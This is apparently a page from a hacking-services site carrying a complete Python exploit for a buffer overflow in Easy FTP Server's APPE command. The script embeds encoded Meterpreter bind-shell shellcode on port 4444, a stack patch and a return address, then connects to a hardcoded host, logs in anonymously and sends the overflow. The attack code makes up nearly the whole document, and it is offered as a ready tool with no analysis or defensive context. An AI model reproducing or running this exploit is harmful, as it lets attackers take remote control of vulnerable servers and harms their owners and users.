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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python
# -*- coding: latin-1 -*- # ####################################################
#                ____                     _ __                                 #
#     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
#    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
#   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
#                                            /___/ nullsecurity team           #
#                                                                              #
# Easy FTP server remote exploit                                               #
#                                                                              #
# DATE                                                                         #
# 03/03/2012                                                                   #
#                                                                              #
# DESCRIPTION                                                                  #
# Easy FTP Server - "APPE" command buffer overflow - remote exploit            #
#                                                                              #
# AUTHOR                                                                       #
# Swappage - http://www.nullsecurity.net/                                      #
#                                                                              #
################################################################################

import socket

username = "anonymous"
password = "a@a"
hostname = "192.168.1.143"
port = 21

#009BFE69   <--- where to go
#009BFC6C   <--- value of ESP
# increment ESP and add patch to that memory location

patch=("\xcc"
"\x89\xe3"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x3b"
"\xc7\x04\x24\xd8\xd1\xec\xf7"
"\x89\xdc"
"\x31\xdb"
)

#
#shellcode: windows/meterpreter/bind_tcp on port 4444
#
stage1=(
"\x31\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xf8\x6c\x9c\xb0\x83\xee\xfc\xe2\xf4\x04\x84\x15\xb0\xf8\x6c"
"\xfc\x39\x1d\x5d\x4e\xd4\x73\x3e\xac\x3b\xaa\x60\x17\xe2\xec"
"\xe7\xee\x98\xf7\xdb\xd6\x96\xc9\x93\xad\x70\x54\x50\xfd\xcc"
"\xfa\x40\xbc\x71\x37\x61\x9d\x77\x1a\x9c\xce\xe7\x73\x3e\x8c"
"\x3b\xba\x50\x9d\x60\x73\x2c\xe4\x35\x38\x18\xd6\xb1\x28\x3c"
"\x17\xf8\xe0\xe7\xc4\x90\xf9\xbf\x7f\x8c\xb1\xe7\xa8\x3b\xf9"
"\xba\xad\x4f\xc9\xac\x30\x71\x37\x61\x9d\x77\xc0\x8c\xe9\x44"
"\xfb\x11\x64\x8b\x85\x48\xe9\x52\xa0\xe7\xc4\x94\xf9\xbf\xfa"
"\x3b\xf4\x27\x17\xe8\xe4\x6d\x4f\x3b\xfc\xe7\x9d\x60\x71\x28"
"\xb8\x94\xa3\x37\xfd\xe9\xa2\x3d\x63\x50\xa0\x33\xc6\x3b\xea"
"\x87\x1a\xed\x90\x5f\xae\xb0\xf8\x04\xeb\xc3\xca\x33\xc8\xd8"
"\xb4\x1b\xba\xb7\x07\xb9\x24\x20\xf9\x6c\x9c\x99\x3c\x38\xcc"
)
#patch=("\xd8\xd1\xec\xf7")
stage2=(
"\xb0\x07\xb9\xcc\xe0\xa8\x3c\xdc\xe0\xb8\x3c"
"\xf4\x5a\xf7\xb3\x7c\x4f\x2d\xe5\x5b\x81\x23\x3f\xf4\xb2\xf8"
"\x7d\xc0\x39\x1e\x06\x8c\xe6\xaf\x04\x5e\x6b\xcf\x0b\x63\x65"
"\xab\x3b\xf4\x07\x11\x54\x63\x4f\x2d\x3f\xcf\xe7\x90\x18\x70"
"\x8b\x19\x93\x49\xe7\x71\xab\xf4\xc5\x96\x21\xfd\x4f\x2d\x04"
"\xff\xdd\x9c\x6c\x15\x53\xaf\x3b\xcb\x81\x0e\x06\x8e\xe9\xae"
"\x8e\x61\xd6\x3f\x28\xb8\x8c\xf9\x6d\x11\xf4\xdc\x7c\x5a\xb0"
"\xbc\x38\xcc\xe6\xae\x3a\xda\xe6\xb6\x3a\xca\xe3\xae\x04\xe5"
"\x7c\xc7\xea\x63\x65\x71\x8c\xd2\xe6\xbe\x93\xac\xd8\xf0\xeb"
"\x81\xd0\x07\xb9\x27\x50\xe5\x46\x96\xd8\x5e\xf9\x21\x2d\x07"

"\xb9\xa0\xb6\x84\x66\x1c\x4b\x18\x19\x99\x0b\xbf\x7f\xee\xdf"
"\x92\x6c\xcf\x4f\x2d\x6c\x9c\xb0"
)
#009BFD5D   where to jmp
buffer = "\x90" * (258 - (len(patch) + len(stage1))) + patch + "\x90"*10 + stage1 + "\x5d\xfd\x9b\x00" + stage2 + "\x90" * 50

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
## Connects and receives the banner
s.connect((hostname, port))
a = s.recv(1024)
print a
s.send("user " + username + "\r\n")
a =s.recv(1024)
print a
s.send("pass " + password + "\r\n")
a = s.recv(1024)
print a
s.send("APPE " + buffer + "\r\n")
s.close()

# EOF